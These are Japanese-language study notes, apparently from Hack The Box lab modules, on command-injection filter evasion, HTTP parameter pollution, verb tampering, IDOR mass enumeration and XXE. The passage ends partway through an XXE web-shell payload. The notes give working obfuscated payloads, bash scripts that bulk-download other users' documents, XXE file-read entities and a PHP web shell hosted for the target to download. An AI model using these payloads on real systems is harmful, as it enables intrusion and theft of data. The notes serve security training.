
**逆順コマンド**

* コマンドを逆順にして記述し、それを実行時に元に戻して実行する難読化手法
* 例えば whoami コマンドを避けたい場合
  * ブラックリストに引っかからないように imaohw のように逆順に記述し、それを実行時に正しい順に戻して処理する

**Linux**

1. コマンドの逆順を取得する

```sh
snowyowl644@htb[/htb]$ echo 'whoami' | rev
imaohw
```

2. 逆順コマンドを元に戻して実行

```sh
21y4d@htb[/htb]$ $(rev<<<'imaohw')
21y4d
```

**Windows**

* このテクニックはWindowsでも同様に使える
* まず、文字列を逆順にする

```powershell
PS C:\htb> "whoami"[-1..-20] -join ''
imaohw
```

```powershell
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d
```

**コマンドのエンコード**

* ここで紹介する最後のテクニックは、フィルター対象の文字や、サーバ側でURLデコードされてしまうような文字を含むコマンドに対して有効
* このような文字があると、シェルに到達する前にコマンドが崩れてしまい、最終的に実行に失敗することがある
* インターネット上の既存の例をコピペするのではなく、自分でユニークな難読化コマンドを作成することで、フィルターやWAFに引っかかりにくくする
* 作成するコマンドは、使用可能な文字やサーバのセキュリティレベルに応じてケースごとに異なるものになる

コマンドをエンコードするために、以下のようなツールを利用できる

* base64（Base64エンコード）
* xxd（16進数エンコード）

**Base64を使ったコマンド難読化**

**Linux**

* まず、実行したいペイロードをエンコードする

```sh
snowyowl@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
```

* これをサブシェル $() でデコードし、bash<<< を使って実行する
* ここでは |（パイプ文字）がフィルターされているため、それを回避するために <<< を使用している

```sh
snowyowl644@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

**Windows**

* 同じテクニックはWindowsでも有効
* まず、対象のコマンドをBase64でエンコードする

```powershell-session
PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

dwBoAG8AYQBtAGkA
```

* Linuxで同じBase64を得たい場合は、utf-8 から utf-16le に変換してからエンコードする必要がある

```sh
snowyowl644@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA
```

最後に、PowerShellでこのBase64文字列をデコードし、サブシェルで実行する

```powershell-session
PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

21y4d
```

その他の技術 今回紹介した手法以外にも、以下のような技術を組み合わせて使用できる • ワイルドカード（`*`など） • 正規表現 • 出力リダイレクト（>、>>） • 数値展開（$((1+2)) など）

これらの技術については、[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-with-variable-expansion) でさらに多くの例が紹介されている

コマンドのエンコードと、これまでのバイパスを行ったコマンド

```
ip=127.0.0.1%0a%09b"a""s""h"<<<$("b"a"s"e"6"4%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)
```

**回避ツール**

* 高度なセキュリティツールを使っている場合、手動で行う基本的な難読化テクニックでは通用しないことがある
* 自動化された難読化ツールを使用するのが最適

**Linux**

Linuxでbashコマンドを難読化する際に便利なツール : Bashfuscator

```shell-session
snowyowl644@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
snowyowl644@htb[/htb]$ cd Bashfuscator
snowyowl644@htb[/htb]$ pip3 install setuptools==65
snowyowl644@htb[/htb]$ python3 setup.py install --user
```

* `./bashfuscator/bin/`ディレクトリからツールを使用できる

```shell-session
snowyowl644@htb[/htb]$ cd ./bashfuscator/bin/
snowyowl644@htb[/htb]$ ./bashfuscator -h

usage: bashfuscator [-h] [-l] ...SNIP...
```

難読化

* 基本的な使用例として -c オプションで難読化したいコマンドを渡す
  * 以下のコマンドだと、ランダムな難読化技法が使われるため、数百文字から100万文字以上の長大なコマンドになることもある

```shell
snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters
```

コンパクトな難読化を作る

```shell-session
snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
```

難読化したコマンドの実行

```shell-session
snowyowl644@htb[/htb]$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

root:x:0:0:root:/root:/bin/bash
...SNIP...
```

**Windows**

* DOSfuscation と呼ばれる、非常によく似た難読化ツール
* 対話型ツール

環境の構築

```powershell-session
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation
```

難読化の実行

```powershell-session
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
```

実行の確認

```cmd-session
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag
```

* Windowsの仮想マシン（VM）にアクセスできない場合でも、**Linux上の PowerShell（pwsh） を使ってこのコードを実行することが可能**
* pwsh を実行し、その中で上記と同じコマンドを使用

## HTTP パラメーターの汚染

### 概要

* インパクト : 中
* 攻撃者がリクエストに追加のパラメーターを挿入して起こすもの
* サーバーサイドとクライアントサイドの二つがある
  * 基本的には、サーバーサイド
  * クライアントサイド
    * SNSへのメッセージ付き共有ボタン
    * 値を改ざん → ビジネスロジック攻撃

### 発見する時に注目すべき箇所

サーバーサイドの場合

* 同じ名前で複数のパラメーターを入れてみる(GET・POST)
  * 例 : `http://127.0.0.1:8000/search?name=hello&age=25&city=Yokohama&name=goodnight`
    * nameパラメーターを二つ入れて、どっちを使うのか、改竄できるのか調べる
  * ASP.NET / IIS 系：すべての値を利用
  * PHP・Apache・Fastapi : 最後に出てきたパラメーターを利用する
  * Apache Tomcat・Flask : 最初に出てきたパラメーターを利用する
  * 詳細 : <https://www.ikkisoft.com/stuff/AppsecEU09\\_CarettoniDiPaola\\_v0.8.pdf>

クライアントサイドの場合

* SNSへの共有機能
  * 共有するための文やリンクのパラメータを2つ繰り返したりして、意図した文章やリンクで共有できないかをみる
    * 例 : `https://x.com/intent/post?text=hello&url=https://hello.com&url=https://hello.com`
      * urlを二つ付けている : どちらが使われるかはサイトによって変わる
* サブスクライブ解除機能
  * uidやユーザーIDを2回繰り返す
  * 最後のパラメーターを使用した場合、異なるユーザーの処理を行える可能性

### 直接的な影響・攻撃者が間接的に行うことができる攻撃

* ビジネスロジックの破壊
  * 正直、何ができるのかは脆弱性によって異なる

## HTTPメソッドの改ざん

* HTTP Verb Tampering（HTTPメソッド改ざん）
* 複数のHTTPメソッドを許容するウェブサーバーの性質を悪用する
* 予期されないHTTPメソッド（例：PUT や DELETE）を送信することで、認可機構をバイパスしたり、他のセキュリティ対策をすり抜けたりすることが可能
* これは、悪意あるHTTPリクエストを送ることで、ウェブサーバーの設定の弱点を突くHTTP系攻撃のひとつ

HTTPメソッド一覧

| **メソッド**    | **説明**                           |
| ----------- | -------------------------------- |
| **HEAD**    | GETと同様だが、**レスポンスボディを含まずヘッダだけ返す** |
| **PUT**     | 指定した場所に**データを書き込む**              |
| **DELETE**  | 指定した場所の**リソースを削除する**             |
| **OPTIONS** | **受け入れ可能なメソッドの一覧**などを返す          |
| **PATCH**   | リソースに対して**一部だけ変更を加える**           |

* これらのメソッドを許可していたら、攻撃者にサーバーを操作されるリスクがある
  * サーバー側の設定ミスやアプリケーションの実装ミスに起因する

**不適切な設定**

* サーバーがある特定のメソッドにだけ認証を求めている場合、それ以外のメソッドを使えば認証をスキップできてしまうことがある 以下のコードでは、GETとPOSTにしか認証を求めていない

```xml
<Limit GET POST>
    Require valid-user
</Limit>
```

* 攻撃者がHEADなど別のメソッドを使えば、認証をバイパスできてしまう

**不適切なコーディング**

* もう一つのタイプは、開発者の実装ミスによって発生するもの
* 例えば、SQLインジェクション対策として、GETパラメータだけに入力フィルターをかけているような場合
* このコードでは、`$_GET["code"]`に対してだけチェックを行っており、実際のクエリには`$_REQUEST["code"]`（GET・POSTどちらも含む）が使われている

```php
$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {
    $query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
    ...SNIP...
}
```

* 攻撃者がPOSTメソッドを使って悪意のあるデータを送れば、GETには悪い文字列がないためチェックをすり抜け、SQLインジェクションが実行されてしまう

攻撃手法

* HTTPメソッド改ざん（HTTP Verb Tampering）による攻撃は、比較的シンプルな手順で実行可能
* 基本的には、別のHTTPメソッドを使って、ウェブサーバーやアプリケーションがどのようにそれらを処理するかを確認するだけ

### Basic認証のバイパス

まず、どこがBasic認証で保護されているのかを確認する 次に、そのページが使っているHTTPメソッドを確認する必要がある

* Burpを使って確認する
* POSTリクエストを送って、認証がGETだけに適用されているかを試します。

Burpの「Change Request Method」機能を使って、GETからPOSTに変更できる ![](https://i.imgur.com/40qpHiE.png) POSTで、Basic認証が突破できなかったので、POSTでも保護されていることがわかる

**サーバーが許可しているHTTPメソッドを確認**

* このコマンドで、サーバーが受け入れているHTTPメソッドを確認できる
  * 出てこない時もある
  * ディレクトリやファイル単位で挙動が違う
  * 特に .php ファイルなどスクリプトのエンドポイントは、サーバーではなくアプリケーション側（PHP）で処理されることが多い

```sh
snowyowl644@htb[/htb]$ curl -i -X OPTIONS http://SERVER_IP:PORT/

HTTP/1.1 200 OK
Date: 
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory
```

サーバーがHEADメソッドを受け入れていることがわかる

* 多くのサーバーのデフォルト設定

**エクスプロイト**

* 再度「Reset」機能のリクエストをキャプチャし、HTTPメソッドをHEADに変更して送信する
  * （HEADメソッドはボディを返さないため、見た目は「何も起きていない」ように見えます）
* すると、ログインのプロンプトも出ず、401エラーにもならず、空のレスポンスが返ってくるはず ![](https://i.imgur.com/9xdofGA.png) しかし、resetは実際に起きている
* 認証を突破して、resetを実行できたってこと

### セキュリティフィルターのバイパス

* ウェブアプリケーション開発時のコーディングミスによって発生するもの
* たとえば、インジェクション攻撃を検知するためにPOSTパラメータ（例：`$_POST['parameter']`）だけをチェックするセキュリティフィルターがある
  * リクエストメソッドをGETに変更するだけでそのフィルターを回避できてしまう可能性がある

**脆弱性の特定**

* File Managerウェブアプリケーションで、特殊文字を含むファイル名（例：test;）で新規作成しようとすると、エラーメッセージが起きる
  * アプリケーションのバックエンドに特定のフィルターが存在し、インジェクション攻撃を検知してリクエストをブロックしていることがわかる

**エクスプロイト** Burpsuiteでメソッドを切り替えて、実行する ![](https://i.imgur.com/BEs8Lm1.png)

* すると、実行できてしまう

## IDOR

概要

* Insecure Direct Object References : 安全でない直接オブジェクト参照
* Webアプリケーションがファイルやデータベースリソースなどのオブジェクトへの直接的な参照を公開しており、その参照をエンドユーザーが操作することで、他の類似したオブジェクトにアクセスできてしまう場合に発生する

攻撃例

* よくある(download.php?file\_id=123）の時に、id=124にしたら、他のデータも見れるかもしれないみたいな
  * 多くのケースでは、IDが推測可能であるため、攻撃者が許可されていない多くのファイルやリソースを取得できる可能性がある
* 内部オブジェクトやリソースへの直接参照を公開しているだけでは、それ自体が脆弱性というわけではない
* 情報漏洩型IDOR脆弱性（IDOR Information Disclosure Vulnerabilities） : 他のユーザーのプライベートなファイルやリソース（たとえば個人ファイルやクレジットカードデータなど）にアクセスできてしまうもの
* 参照しているオブジェクトの種類によっては、他のユーザーのデータを改ざんまたは削除することさえ可能となり、結果としてアカウントの完全な乗っ取りにつながることもある

対策

* IDOR脆弱性は主にバックエンドのアクセス制御の欠如によって発生する
* 「ロールベースのアクセス制御（RBAC）など

### 識別方法

#### URL パラメータと API

* IDOR 脆弱性を悪用する最初のステップは、「直接オブジェクト参照（Direct Object References）」を特定すること
* 特定のファイルやリソースを受け取ったときは、HTTPリクエストを調査
  * オブジェクト参照を含む URL パラメータや API（例：?uid=1 や ?filename=file\_1.pdf）を探す
  * クッキーのような他の HTTP ヘッダーにあることもある

基本的なケース

* オブジェクト参照の値をインクリメントして他のデータを取得できるか試す
  * ?uid=1
  * ?uid=2
* **ファジングツールを使って数千通りのバリエーション**を試し、何かしらのデータが返ってくるかを確認することも可能

#### AJAX呼び出しの調査

* フロントエンドの JavaScript コード中の AJAX 呼び出しとして使われている、未使用のパラメータや API を特定できる場合もある
* 一部の JavaScript フレームワークで作られた Web アプリケーションでは、すべての関数がフロントエンドに定義されている
  * ユーザーのロールに応じて使い分けられている
* 管理者アカウントがない場合は、ユーザー用の関数しか使われませんが、フロントエンドのコードには管理者用の関数も残っている可能性がある

AJAX呼び出しのコード

* 通常のユーザーとして Web アプリケーションを使っている間は呼び出されない
* しかし、フロントエンドのコードから見つければ、テストで呼び出せるかもしれない
* 呼び出しに成功して変更が可能⇨IDOR 脆弱性が存在している

```sh
function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}
```

#### ハッシュ・エンコードの理解

* Web アプリケーションでは、オブジェクト参照として単純な連番を使うのではなく、エンコードやハッシュ化された値を使うことがある
* バックエンドにアクセス制御がなければ依然として悪用可能
* filenameなどがハッシュになっていたら、デコードして、ファイル名が、filenname\_123などになっていたら、インクリメントして、エンコードしてIDOR脆弱性があるかを探す

ユーザーロールの比較

* 複数のユーザーアカウントを用意して、それぞれの HTTP リクエストとオブジェクト参照を比較することが有効
* この比較によって、URL パラメータや一意の識別子がどのように構成されているのかを理解し、他のユーザーのデータを取得するための推測が可能になる

### 攻撃

#### 大量 IDOR 列挙

静的ファイル IDOR

* 最も基本的な IDOR
* ファイル名には uid と年月が含まれている
* 他ユーザーのファイルをファズすることができるかもしれない。

uid パラメータの操作

* URL を見ると、documents.php?uid=1 のように uid パラメータが GET で渡されている
* このパラメータが表示すべき従業員の記録を直接参照している場合、uid を変更するだけで他の従業員のファイルが見えるかもしれない
* 適切なアクセス制御があれば、「アクセス拒否」などが返されるべき
  * uid を平文で直接渡している設計は、Web アプリケーションの設計として問題がある

大量列挙（Mass Enumeration）

* 他の従業員のファイル（uid=3, uid=4, …）も手動でアクセスすることは可能ですが、実際の環境では何百、何千というユーザーがいる可能性があり、手作業では非効率
* BurpとかOwaspのIntruder機能を使ってもいいけど、Bashでもできる

ファイルリンクの抽出

* Firefox で \[CTRL+SHIFT+C] を押して要素インスペクターを起動し、リンクをクリックして HTML を確認する

```html
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
```

* このようなリンクがあるので、`<li class='pure-tree_link'>` を目印に curl と grep を使ってリンクを抽出

```sh
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep "<li class='pure-tree_link'>"
```

* もっと精密に PDF ファイルだけ取り出すには、grep -oP を使って /documents/〜.pdf というパターンだけを取り出す

```sh
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
```

* UID 1〜10 までのすべての従業員のファイルをダウンロードするスクリプト

```sh
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
        wget -q $url/$link
    done
done
```

* このスクリプトを実行すれば、UID 1〜10 のすべての書類がダウンロードされる

#### エンコードされた参照の回避

* 一部の Web アプリケーションでは、オブジェクト参照をハッシュ化またはエンコードしており、列挙が難しくなっている
* ファイルのリクエストに何かのハッシュが埋め込まれている ![](https://i.imgur.com/ig5JVWR.png)

ハッシュは、復号できない

* UID、ユーザー名、ファイル名など、様々な値を MD5 でハッシュ化してみて、一致するかどうか確認する
* 他の値も試してみることは可能ですが、うまくいかない場合は Burp の Comparer 機能を使って、大量の値を比較して一致を探すこともできる
* でも、この場合は、IDORの反対のSecure Direct Object Reference（安全なオブジェクト参照）かもしれない

関数の公開による失敗

* この Web アプリケーションには致命的なミスがある
* 開発者が誤って機密性の高い処理をフロントエンドで行ってしまうことがある
  * すると、どのようにハッシュが生成されているかがわかるので、IDOR脆弱性を突くことができる
* 実際にこのアプリケーションでも、JavaScript の関数からハッシュ値が生成されている
* ソースコードを確認すると、リンクが `javascript:downloadContract('1')` のように呼び出されている

```js
function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}
```

* 関数からuidをBase64エンコードして、MD5ハッシュ化をしていることがわかる

ハッシュの復元と失敗

* 実際に同じよりでハッシュかして、ハッシュが取得したものと一致するのかを確認する

```sh
echo -n 1 | base64 -w 0 | md5sum
```

大量列挙（Mass Enumeration）

* このハッシュの仕組みが分かった今、他の従業員の契約書も列挙できる。
* burpとかでもできるけど、Bashでやってみる

スクリプトでハッシュ生成とダウンロード

```shell-session
snowyowl644@htb[/htb]$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
<SNIP>
```

生成したハッシュを使って他の人の資料もダウンロードできる

```bash
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done
```

#### APIのIDOR脆弱性

* 情報を更新すると、PUTリクエストが/profile/api.php/profile/1という以下にAPIエンドポイントに送信される

```json
{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
```

* 特にroleはクライアント側のCookie（例：role=employee）によって設定されている
  * アクセス制御がクライアント側に依存していることを示しており、攻撃者がこれらのパラメータを操作することで、権限を昇格させる可能性がある

不正なAPI呼び出しの試行

* 以下のような操作を試みることで、IDOR脆弱性を検証できる
  1. 他のユーザーのuidに変更：uidを2などに変更してみますが、APIエンドポイントの/1と一致しないため、「uid mismatch」というエラーが返されます。
  2. 他のユーザーの詳細情報の変更：APIエンドポイントを/profile/api.php/profile/2に変更し、uidも2に設定しますが、uuidが一致しないため、「uuid mismatch」というエラーが返されます。
  3. 新しいユーザーの作成：POSTリクエストを使用して新しいユーザーを作成しようとすると、「Creating new employees is for admins only」というエラーが返されます。
  4. ユーザーの削除：DELETEリクエストを使用してユーザーを削除しようとすると、「Deleting employees is for admins only」というエラーが返されます。
  5. roleの変更：roleをadminやadministratorに変更しようとすると、「Invalid role」というエラーが返され、役割の変更は成功しません。 ![](https://i.imgur.com/F5qG1Qc.png)
* APIにはいくつかのアクセス制御が実装されており、直接的な不正操作は防がれているよう

情報漏洩型IDORの検証

* 機能呼び出しに対するIDOR脆弱性を検証してきましたが、情報漏洩型IDORについてはまだ検証していない
* APIのGETリクエストを使用して、他のユーザーの詳細情報を取得できるかどうかを試す
* もしAPIに適切なアクセス制御が実装されていなければ、他のユーザーの情報を取得できる可能性がある

情報漏洩型IDORが成功する例 ![](https://i.imgur.com/tkh6LfQ.png)

#### IDORの連携攻撃

* 情報漏洩型IDOR ⇨ 他ユーザー情報の改ざん ⇨　APIでのユーザーの権限昇格
* 情報漏洩型IDOR
  * 他人の情報を閲覧するだけでなく、改ざんも可能になる
  * 攻撃もできる
    * 他人のメールアドレスを書き換えてパスワードリセットリンクを自分に送らせる
    * about にXSSペイロードを仕込んで、そのユーザーがプロフィールを開いたときに攻撃する
  * 管理者ユーザーの探索 見つかった管理者ユーザー

```sh
{
    "uid": "X",
    "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
    "role": "web_admin",
    "full_name": "administrator",
    "email": "webadmin@employees.htb",
    "about": "HTB{FLAG}"
}
```

自分のロールを変更して管理者になる 1. プロフィール更新時のリクエストをBurpなどでキャプチャ 2. JSON内の "role": "employee" を "web\_admin" に書き換えて送信 3. エラーが出なければ成功。GETで確認すると、ロールが変更されている

![](https://i.imgur.com/HAoMYBv.png)

## XXE インジェクション

### 概要

* ユーザーが制御できる入力からXMLデータを取得する際に、適切なサニタイズや安全なパース処理を行わずに受け取ってしまうことで発生する
* これにより、攻撃者はXMLの機能を利用して悪意ある操作を実行できる可能性がある
* XXE脆弱性は、機密ファイルの漏洩からバックエンドサーバーの停止まで行われる

XML DTD（Document Type Definition）

* DTD（ドキュメント型定義） は、XMLドキュメントの構造を事前に定義し、それに対してXMLをバリデートするための仕組み
* DTDはXMLドキュメント内、または外部ファイルとして定義できる

以下はメール構造XMLのためのDTDの例

* DTDはXMLの冒頭、XML宣言の次に配置することもできる
* 外部ファイル・URLを参照することも可能

```xml
<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
```

XMLエンティティ（Entities）

* DTDでは、カスタムエンティティ（変数のようなもの）を定義して、再利用性を高めたり、冗長なデータを省いたりすることができる
* !ENTITY> キーワードで定義される

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>
```

外部XMLエンティティも参照可能な点

* &#x20;SYSTEM キーワードとファイルパスを使って、外部ファイルを読み込む
  * 「SYSTEM」の代わりに「PUBLIC」を使うことも可能

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
```

* 外部エンティティを参照（例：\&signature;）すると、サーバー上でXMLがパースされる際にその外部ファイルの内容が読み込まれ、値として展開される
* SOAP APIやWebフォームのように、XMLがサーバー側で処理される場面では、ローカルファイルを読み込んでユーザーに開示してしまう

#### XMLパーサー

* XMLを読み取り、構造を解釈して、プログラムが扱えるデータ構造（例えばツリー構造やオブジェクト）に変換してくれる
* 具体的な役割
  * 構文解析
    * XMLの文法が正しいかどうかをチェック
  * 構造の把握
    * 各要素（タグ）、属性、テキストなどを解析してデータ構造に変換
  * ナビゲーション可能な形に変換
    * プログラムから、特定の要素を検索・操作できるようにする

一般的なXMLパーサー

* DOM Parser
  * DOM : Document Object Model
  * &#x20;XML文書全体をメモリベースのツリー構造に構築し、文書のあらゆる部分へのランダムアクセスが可能
  * リソースを大量に消費しますが、非常に柔軟性に優れている
* SAX Parser
  * Simple API for XML
  * XMLデータをドキュメント全体をメモリにロードすることなく順次解析するため、大規模なXMLファイルに適している
  * XMLデータへのランダムアクセスには柔軟性が低くなる
* StAX Parser
  * Streaming API for XML
  * SAX と同様に、StAX はXMLドキュメントをストリーミング方式で解析する
  * SAXより、柔軟性がある
* XPath Parser
  * 式に基づいてXMLドキュメントを解析し、XSLT と組み合わせて広く使用される

### XXEの種類

インバンドXXE

* 攻撃者がサーバーからの応答を傍受できるXXE脆弱性を指す
* 攻撃者は悪意のあるXMLペイロードをアプリケーションに送信するだけで、サーバーは抽出されたデータまたは攻撃の結果を返す

アウトオブバンドXXE

* 攻撃者がサーバーからの応答を確認できないXXE脆弱性
* そのため、DNSやHTTPリクエストなどの代替チャネルを使用してデータを盗み出す必要がある
* データを抽出するには、攻撃者はDNSクエリやHTTPリクエストなどのアウトオブバンドリクエストをトリガーする悪意のあるXMLペイロードを作成する必要がある

### インバンドXXE

#### 脆弱性を生むポイント

コードはこんな感じになってると、この脆弱性を生む コード概要

* POSTで受け取ったxmlDataの中のnameの部分を取得して、echoとして、nameを使用している 脆弱性が作られるポイント
* サニタイズなど何もしないで出力に渡していること

```php
libxml_disable_entity_loader(false);

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $xmlData = file_get_contents('php://input');

    $doc = new DOMDocument();
    $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD); 

    $expandedContent = $doc->getElementsByTagName('name')[0]->textContent;

    echo "Thank you, " .$expandedContent . "! Your message has been received.";
}
```

#### ローカルファイルの開示

* WebアプリケーションがユーザーからのフィルタリングされていないXMLデータを信頼して処理している場合、外部のXML DTD（Document Type Definition）を参照したり、新しいカスタムXMLエンティティを定義したりできる可能性がある
* もし、エンティティを定義して、それがWebページに表示されるなら、ローカルファイルを参照する外部エンティティも同様に定義できるかもしれない
* そしてそのエンティティの値が表示されることで、バックエンドサーバー上のファイルの内容が読み取れてしまう可能性がある

#### 脆弱性の識別

* 最初のステップは、ユーザーからのXML入力を受け取るWebページを見つけること
  * Contact Form（お問い合わせフォーム）など
* フォームに入力して「Send Data（データ送信）」をクリックし、BurpでHTTPリクエストをインターセプトしてみると、XML形式で、webサーバーに送信されていることがわかる
  * XXEの攻撃対象として有望 ![](https://i.imgur.com/N1kmDTB.png)

> このPOSTの出力からわかること

* このアプリケーションが古いXMLライブラリを使っていて、サニタイズやフィルターをしていない場合、このXMLフォームを利用してローカルファイルを読み込むことができるかもしれない

> レスポンスからわかること

* `<email>`要素の値がページ上に表示されているのが確認できる
  * 「どのXML要素が出力されているか」を特定することで、どこにエンティティを挿入すればよいかがわかる
  * 出力されているので、ここにエンティティを注入してテストする

#### カスタムエンティティの挿入

* DTDとENTITY定義を、XMLの1行目の直後に追加する
  * 今回は、emailにエンティティを注入するから、emailについて書く
  * もしすでに`<!DOCTYPE>`が存在している場合は、その中に`<!ENTITY>`だけを追加すればOK
* `<email>`タグの中に `&company;` を使用してみます。これにより、定義した「Inlane Freight」に置き換わるかを確認 ![](https://i.imgur.com/udu4gZF.png)

> レスポンスからわかること

* エンティティが展開されて値が表示されたことが確認できた
  * （\&company; → Inlane Freight に変換された）
* これは、**サーバー側がXMLをパースし、エンティティを解釈している**ことを示している
  * このWebアプリケーションが**XXE脆弱性を持っている**と判断できる

JSONの場合

* 一部のWebアプリケーションでは、リクエストがデフォルトでJSON形式ですが、実は**XML形式のリクエストも受け入れている**ことがある
* このような場合、HTTPヘッダーの Content-Type を application/xml に変更し、JSON → XML に変換すれば、XXEテストが可能になる場合もある

#### 機密ファイルの読み取り

* 内部エンティティだけでなく、外部エンティティを定義してみる
* 方法は簡単で、SYSTEM キーワードを使い、参照先にローカルファイルのパスを指定する

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

![](https://i.imgur.com/RXiX1eh.png) 今度は \&company; に /etc/passwd ファイルの内容が展開され、画面に表示される

読み出せるファイル

* 設定ファイル（config.php, .env など）→ パスワードやデータベース接続情報が含まれる
* SSH秘密鍵（例：/home/user/.ssh/id\_rsa）→ サーバーへのログインが可能になる
* JavaベースのWebアプリケーションでは、ファイルではなくディレクトリパスを指定することで、ディレクトリリストを取得できるケースもある

#### ソースコードの読み取り

* 同じ手法だと、外部エンティティとして読み込む時にエラーが出て内容が表示されない ⇨ `file://` の代わりに `php://filter/convert.base64-encode/resource=ファイル名`を使う

DTDとエンティティ

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
```

index.php のbase64文字列が出力されている様子 ![](https://i.imgur.com/7zecIFD.png)

#### XXEによるRCE

最も簡単な方法は

* SSH鍵を探す
* Windowsベースのサーバーでハッシュを盗むリクエストを送る（SMB経由）
* または、PHPアプリケーションで `php://expect` フィルタを使用する（ただし、expectモジュールが必要）

Webシェルを配置する最も確実な方法

1. 自分のマシンに簡単なWebシェルを作成

```shell-session
snowyowl644@htb[/htb]$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
snowyowl644@htb[/htb]$ sudo python3 -m http.server 8080
```

2. ターゲットサーバーにcurlでシェルをダウンロードさせる

* `$IFS` を使ってスペースを置き換えている
* これはXML構文を壊さないための工夫
  * また、| や > などの特殊文字も避けるべき

```xml
<?xml version="1.0"?>
<!DOCTYPE email [
